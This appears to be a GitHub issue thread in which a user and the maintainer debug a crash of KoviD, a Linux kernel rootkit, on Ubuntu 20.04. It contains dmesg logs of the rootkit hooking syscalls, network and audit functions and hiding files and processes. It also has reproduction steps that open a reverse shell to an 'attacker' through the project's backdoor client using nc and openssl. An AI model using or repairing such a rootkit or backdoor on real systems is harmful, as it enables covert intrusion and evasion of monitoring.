Crash with ubuntu20.04 on active task

[iusearch]

Describe the bug Crashing with the following dmesg

[   19.473319] kovid: module verification failed: signature and/or required key missing - tainting kernel
[   19.497545] kv: using kprobe for kallsyms_lookup_name
[   19.521926] invalid data: bpf_map_get will not work
[   19.540065] add sysaddr: ffffffff94eb5900
[   19.540071] addname '.JULPHL' ro=1
[   19.540072] new var, filename: '/var/.JULPHL'
[   19.540074] Installing: 'sys_exit_group' syscall=1
[   19.557053] add sysaddr: ffffffff94ea0db0
[   19.560332] Installing: 'sys_clone' syscall=1
[   19.573585] add sysaddr: ffffffff94e9aaf0
[   19.575485] Installing: 'sys_kill' syscall=1
[   19.582642] add sysaddr: ffffffff94eae260
[   19.584526] Installing: 'sys_bpf' syscall=1
[   19.592164] add sysaddr: ffffffff94fd8fe0
[   19.594346] Installing: 'tcp4_seq_show' syscall=0
[   19.598732] Installing: 'udp4_seq_show' syscall=0
[   19.603122] Installing: 'tcp6_seq_show' syscall=0
[   19.607604] Installing: 'udp6_seq_show' syscall=0
[   19.612112] Installing: 'packet_rcv' syscall=0
[   19.617135] Installing: 'tpacket_rcv' syscall=0
[   19.622165] Installing: 'account_process_tick' syscall=0
[   19.624503] Installing: 'account_system_time' syscall=0
[   19.626650] Installing: 'audit_log_start' syscall=0
[   19.628976] Installing: 'filldir' syscall=0
[   19.631781] Installing: 'filldir64' syscall=0
[   19.634500] Installing: 'tty_read' syscall=0
[   19.638338] ftrace hook 0 on sys_exit_group
[   19.638338] ftrace hook 1 on sys_clone
[   19.638338] ftrace hook 2 on sys_kill
[   19.638339] ftrace hook 3 on sys_bpf
[   19.638339] ftrace hook 4 on tcp4_seq_show
[   19.638339] ftrace hook 5 on udp4_seq_show
[   19.638340] ftrace hook 6 on tcp6_seq_show
[   19.638340] ftrace hook 7 on udp6_seq_show
[   19.638340] ftrace hook 8 on packet_rcv
[   19.638340] ftrace hook 9 on tpacket_rcv
[   19.638341] ftrace hook 10 on account_process_tick
[   19.638341] ftrace hook 11 on account_system_time
[   19.638341] ftrace hook 12 on audit_log_start
[   19.638341] ftrace hook 13 on filldir
[   19.638342] ftrace hook 14 on filldir64
[   19.638342] ftrace hook 15 on tty_read
[   19.638595] Waiting for event
[   19.638734] hide [00000000485c22ce] irq/102_pciehp : 1241
[   19.638800] hide [00000000cf13d734] irq/101_pciehp : 1240
[   19.638811] hide [000000009693aa1d] irq/100_pciehp : 1239
[   19.638813] addname '.kovid' ro=1
[   19.638814] addname 'kovid' ro=1
[   19.638815] addname '.kv.ko' ro=1
[   19.638815] addname '.lm.sh' ro=1
[   19.638816] addname '.sshd_orig' ro=1
[   19.638817] addname 'whitenose' ro=1
[   19.638817] addname 'pinknose' ro=1
[   19.638818] addname 'rednose' ro=1
[   19.638819] addname 'greynose' ro=1
[   19.638819] addname 'purplenose' ro=1
[   19.638821] addname 'blacknose' ro=1
[   19.638821] addname 'bluenose' ro=1
[   19.638856] kovid loaded.
[   27.979782] Got event
[   28.085751] hide [0000000083b79e9e] sh : 1243
[   28.085837] hide [00000000a410a064] bash : 1242
[   28.085843] Waiting for event
[   28.085844] Got event
[   28.085845] Waiting for event
[   31.785976] hide [00000000d0596e08] apt : 1244
[   32.222181] hide [00000000a1d8c293] sh : 1247
[   32.227206] hide [000000009d2df541] snap : 1248
[   32.227359] hide [000000001e34862c] snap : 1250
[   32.235609] unhide [000000009d2df541] snap : 1248
[   32.235693] general protection fault: 0000 [#1] SMP NOPTI
[   32.235715] CPU: 1 PID: 1250 Comm: snap Kdump: loaded Tainted: G            E     5.4.0-164-generic #181-Ubuntu
[   32.235734] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS unknown 2/2/2022
[   32.235754] RIP: 0010:__change_pid+0x2f/0xa0
[   32.235764] Code: 89 f0 85 f6 75 7b 4c 8b 87 30 09 00 00 4c 8d 8f 30 09 00 00 48 89 c1 48 c1 e1 04 48 8d b4 0f 38 09 00 00 48 8b 0e 48 8b 76 08 <48> 89 0e 48 85 c9 74 04 48 89 71 08 48 b9 22 01 00 00 00 00 ad de
[   32.235797] RSP: 0018:ffffae494084fca8 EFLAGS: 00010046
[   32.235808] RAX: 0000000000000000 RBX: 00000000ffffffff RCX: dead000000000100
[   32.235821] RDX: 0000000000000000 RSI: dead000000000122 RDI: ffff93eae63817c0
[   32.235835] RBP: ffffae494084fcb0 R08: ffff93eaf6bdf580 R09: ffff93eae63820f0
[   32.235848] R10: 0000000000000003 R11: ffff93eaf7aaffb8 R12: ffff93eae63817c0
[   32.235861] R13: ffff93eae9eb1080 R14: dead000000000122 R15: ffff93eae1238480
[   32.235875] FS:  0000000000000000(0000) GS:ffff93eaf7a80000(0000) knlGS:0000000000000000
[   32.235890] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   32.235901] CR2: 00007f7474000010 CR3: 0000000269e3c000 CR4: 0000000000740ee0
[   32.235916] PKRU: 55555554
[   32.235922] Call Trace:
[   32.235935]  ? show_regs.cold+0x1a/0x1f
[   32.235944]  ? __die+0x90/0xd9
[   32.235953]  ? die+0x30/0x50
[   32.235960]  ? do_general_protection+0xcc/0x160
[   32.235971]  ? general_protection+0x28/0x30
[   32.235981]  ? __change_pid+0x2f/0xa0
[   32.235989]  ? detach_pid+0x10/0x20
[   32.235998]  release_task+0x281/0x470
[   32.236007]  do_exit+0x6dd/0xaf0
[   32.236018]  do_group_exit+0x47/0xb0
[   32.236028]  get_signal+0x169/0x890
[   32.236036]  do_signal+0x37/0x6d0
[   32.236044]  ? do_nanosleep+0xad/0x160
[   32.236053]  ? hrtimer_init_sleeper+0x2c/0x90
[   32.236063]  ? __x64_sys_futex+0x13f/0x170
[   32.236073]  exit_to_usermode_loop+0xbf/0x160
[   32.236082]  do_syscall_64+0x168/0x190
[   32.236090]  entry_SYSCALL_64_after_hwframe+0x5c/0xc1
[   32.236101] RIP: 0033:0x55a74a034343
[   32.236109] Code: 24 20 c3 cc cc cc cc 48 8b 7c 24 08 8b 74 24 10 8b 54 24 14 4c 8b 54 24 18 4c 8b 44 24 20 44 8b 4c 24 28 b8 ca 00 00 00 0f 05 <89> 44 24 30 c3 cc cc cc cc cc cc cc cc 8b 7c 24 08 48 8b 74 24 10
[   32.236143] RSP: 002b:00007f747fc73ca0 EFLAGS: 00000286 ORIG_RAX: 00000000000000ca
[   32.236158] RAX: fffffffffffffe00 RBX: 000000c000050700 RCX: 000055a74a034343
[   32.236172] RDX: 0000000000000000 RSI: 0000000000000080 RDI: 000000c000050848
[   32.236186] RBP: 00007f747fc73ce8 R08: 0000000000000000 R09: 0000000000000000
[   32.236200] R10: 0000000000000000 R11: 0000000000000286 R12: 0000000000000001
[   32.236214] R13: 0000000000000040 R14: 000055a74a975618 R15: 0000000000000000
[   32.236228] Modules linked in: kovid(E) nls_iso8859_1 dm_multipath scsi_dh_rdac scsi_dh_emc scsi_dh_alua kvm_intel kvm binfmt_misc snd_hda_codec_generic ledtrig_audio joydev input_leds snd_hda_intel serio_raw snd_intel_dspcfg snd_hda_codec snd_hda_core snd_hwdep snd_pcm snd_timer snd soundcore mac_hid qemu_fw_cfg sch_fq_codel ramoops msr reed_solomon efi_pstore virtio_rng ip_tables x_tables autofs4 btrfs zstd_compress raid10 raid456 async_raid6_recov async_memcpy async_pq async_xor async_tx xor raid6_pq libcrc32c raid1 raid0 multipath linear hid_generic usbhid hid crct10dif_pclmul crc32_pclmul ghash_clmulni_intel ahci aesni_intel crypto_simd virtio_gpu cryptd glue_helper ttm i2c_i801 psmouse libahci drm_kms_helper lpc_ich syscopyarea sysfillrect sysimgblt virtio_blk fb_sys_fops virtio_net net_failover failover drm
[   32.238393] disable async PF for cpu 1

To Reproduce Steps to reproduce the behavior:

1. insmod
2. sudo ./bdclient.sh nc 192.168.x.x xxxxx from attacker
3. apt install python3 in the reverse shell termina;

Additional context When checking with crash, a warning is shown

crash 7.2.8
Copyright (C) 2002-2020  Red Hat, Inc.
Copyright (C) 2004, 2005, 2006, 2010  IBM Corporation
Copyright (C) 1999-2006  Hewlett-Packard Co
Copyright (C) 2005, 2006, 2011, 2012  Fujitsu Limited
Copyright (C) 2006, 2007  VA Linux Systems Japan K.K.
Copyright (C) 2005, 2011  NEC Corporation
Copyright (C) 1999, 2002, 2007  Silicon Graphics, Inc.
Copyright (C) 1999, 2000, 2001, 2002  Mission Critical Linux, Inc.
This program is free software, covered by the GNU General Public License,
and you are welcome to change it and/or distribute copies of it under
certain conditions.  Enter "help copying" to see the conditions.
This program has absolutely no warranty.  Enter "help warranty" for details.

GNU gdb (GDB) 7.6
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-unknown-linux-gnu"...

WARNING: kernel relocated [316MB]: patching 115296 gdb minimal_symbol values

please wait... (determining panic task)                                
WARNING: active task ffff9facda392f80 on cpu 0 not found in PID hash

WARNING: active task ffff9facdaf50000 on cpu 3 not found in PID hash

Suspect to be something related to task hidden. With latest commit from master.

[carloslack]

Hi @iusearch thanks for the detailed investigation you did there, I appreciate.

I don't have Ubuntu 20.04 at hand (I don't recall testing kv on that particular linux version) but if you run nc client and server and try to run same apt command, will it work? For me it doesn't, command hung there and package can't install.

kv doesn't implement itself backdoors, it uses network tools available on the machine (nc, openssl, socat) and inherits their limitations.

I testes on ubuntu 18.04 and I dont't get a crash, but it doesn't work either because nc/openssl/socat don't don't either, even in isolated form.

[iusearch]

Sorry don't quite understand that. Do you mean nc -e to pop a reverse shell to the host?

[carloslack]

Sorry don't quite understand that. Do you mean nc -e to pop a reverse shell to the host?

yes, example:

server: nc -lnv 9999 client: nc "ip" 9999

nc/socat/openssl don't offer rich terminal, and apt commands require a lot of interactive shell back-and-fourths. The crash may or may not be related to that , not sure what apt does under the carpet but that could be messing with a weakness withing kv about these backdoors, but they would not work as intended anyway (my guess) even in standalone mode, for these complicate shell interactions.

[iusearch]

No, it can't do that from my side either. I remember apt has multiple backend which can dealt with non tty console though IMO it should not cause a kernel dump. I will try find what's causing the problem

[carloslack]

You are right, it should not cause a kernel crash, but it is not crashing in the version I have just tried, but as soon as I manage to load a 22.04 I will check that, and yes, the crash is during hide/unhide stuff, that is possibly quite messy coming from apt.

In the meantime, if you manage to do more tests, please share results here that could be helpful, thank you

[iusearch]

Ya weirdly it does not crash on 22.04 but do crash on 20.04. To be more specifically Ubuntu 20.04.6 LTS, kernel 5.4.0-164-generic #181-Ubuntu SMP. I will try using 22.04 kernel on 20.04 base image.

[carloslack]

19.473319] kovid: module verification failed: signature and/or required key missing - tainting kernel [ 19.497545] kv: using kprobe for kallsyms_lookup_name [ 19.521926] invalid data: bpf_map_get will not work

Notice the first lines from your log:

19.473319] kovid: module verification failed: signature and/or required key missing - tainting kernel [ 19.497545] kv: using kprobe for kallsyms_lookup_name [ 19.521926] invalid data: bpf_map_get will not work

These messages indicate that hide/unhide is broken and incompatible with that kernel/linux version or setup. I would expect that other things will eventually fail. Any warnings when you compile the code?

[iusearch]

Interesting. I guess I'm not compatible enough to fix that myself. Hope you can find the root cause for that. Thanks.

[carloslack]

Interesting. I guess I'm not compatible enough to fix that myself. Hope you can find the root cause for that. Thanks.

I guess I have just found it. The warning 19.521926] invalid data: bpf_map_get will not work is real, look:

In 5.4 this kernel function does not exist or exists with a different name: https://elixir.bootlin.com/linux/v5.4.8/A/ident/bpf_map_get

Now, check 5.8 for instance, it is present: https://elixir.bootlin.com/linux/v5.8/source/include/linux/bpf.h#L1076

So, long story short, it is not yet a bug, you are running kv against a kernel whereas it was not ported for and therefore we should not expect it to work anyway. If I port it to your kernel, I will let you know here ok?

[iusearch]

Unfortunately, that's not the end of story. I upgraded the kernel on 20.04 to 5.15, with the following

[  651.663595] kovid: module verification failed: signature and/or required key missing - tainting kernel
[  651.692163] kv: using kprobe for kallsyms_lookup_name
[  651.714282] add sysaddr: ffffffffb72da750
[  651.714290] addname '.VAPMKA' ro=1
[  651.714295] new var, filename: '/var/.VAPMKA'
[  651.714296] Installing: 'sys_exit_group' syscall=1
[  651.734174] add sysaddr: ffffffffb72c38c0
[  651.735601] Installing: 'sys_clone' syscall=1
[  651.755013] add sysaddr: ffffffffb72bc670
[  651.756252] Installing: 'sys_kill' syscall=1
[  651.776053] add sysaddr: ffffffffb72d29c0
[  651.777236] Installing: 'sys_bpf' syscall=1
[  651.798150] add sysaddr: ffffffffb7446530
[  651.799547] Installing: 'tcp4_seq_show' syscall=0
[  651.807208] Installing: 'udp4_seq_show' syscall=0
[  651.814962] Installing: 'tcp6_seq_show' syscall=0
[  651.823055] Installing: 'udp6_seq_show' syscall=0
[  651.830900] Installing: 'packet_rcv' syscall=0
[  651.839003] Installing: 'tpacket_rcv' syscall=0
[  651.847122] Installing: 'account_process_tick' syscall=0
[  651.849088] Installing: 'account_system_time' syscall=0
[  651.850870] Installing: 'audit_log_start' syscall=0
[  651.853140] Installing: 'filldir' syscall=0
[  651.856423] Installing: 'filldir64' syscall=0
[  651.859644] Installing: 'tty_read' syscall=0
[  651.865154] ftrace hook 0 on sys_exit_group
[  651.865155] ftrace hook 1 on sys_clone
[  651.865156] ftrace hook 2 on sys_kill
[  651.865157] ftrace hook 3 on sys_bpf
[  651.865158] ftrace hook 4 on tcp4_seq_show
[  651.865158] ftrace hook 5 on udp4_seq_show
[  651.865159] ftrace hook 6 on tcp6_seq_show
[  651.865160] ftrace hook 7 on udp6_seq_show
[  651.865161] ftrace hook 8 on packet_rcv
[  651.865170] ftrace hook 9 on tpacket_rcv
[  651.865170] ftrace hook 10 on account_process_tick
[  651.865171] ftrace hook 11 on account_system_time
[  651.865172] ftrace hook 12 on audit_log_start
[  651.865173] ftrace hook 13 on filldir
[  651.865173] ftrace hook 14 on filldir64
[  651.865174] ftrace hook 15 on tty_read
[  651.865759] Waiting for event
[  651.866125] hide [000000000fcfe607] irq/102_pciehp : 2657
[  651.866215] hide [0000000049afc3dc] irq/101_pciehp : 2656
[  651.866229] hide [00000000e800d72c] irq/100_pciehp : 2655
[  651.866232] addname '.kovid' ro=1
[  651.866236] addname 'kovid' ro=1
[  651.866237] addname '.kv.ko' ro=1
[  651.866239] addname '.lm.sh' ro=1
[  651.866240] addname '.sshd_orig' ro=1
[  651.866241] addname 'whitenose' ro=1
[  651.866247] addname 'pinknose' ro=1
[  651.866248] addname 'rednose' ro=1
[  651.866249] addname 'greynose' ro=1
[  651.866249] addname 'purplenose' ro=1
[  651.866250] addname 'blacknose' ro=1
[  651.866251] addname 'bluenose' ro=1
[  651.866294] kovid loaded.

so it did find the symbol, but still crash on that

[carloslack]

I see, yeah I will do some tests as soon as I can with these kernels, thank you.

[iusearch]

One more hint. Just found out dpkg -i downloaded the same package does not trigger it.

[carloslack]

One more hint. Just found out dpkg -i downloaded the same package does not trigger it.

hmm "dpkg -i" is not interactive, is it?

[iusearch]

I believe not. I'm trying to get strace to see which syscall actually killed it. Thou openssl is also broken on 20.04.

$ sudo ./bdclient.sh openssl 192.168.122.94 12345                                                                              130 ↵
Using default temp BA parameters
ACCEPT
ERROR
4057738E077F0000:error:0A00010B:SSL routines:ssl3_get_record:wrong version number:ssl/record/ssl3_record.c:358:
shutting down SSL
CONNECTION CLOSED

[carloslack]

I believe not. I'm trying to get strace to see which syscall actually killed it. Thou openssl is also broken on 20.04.

$ sudo ./bdclient.sh openssl 192.168.122.94 12345                                                                              130 ↵
Using default temp BA parameters
ACCEPT
ERROR
4057738E077F0000:error:0A00010B:SSL routines:ssl3_get_record:wrong version number:ssl/record/ssl3_record.c:358:
shutting down SSL
CONNECTION CLOSED

yeah, openssl is a pain in the ass https://github.com/carloslack/KoviD/issues/20

[carloslack]

Closing this because it is not considered an issue if kernel is unsupported. Opened this one instead: https://github.com/carloslack/KoviD/issues/72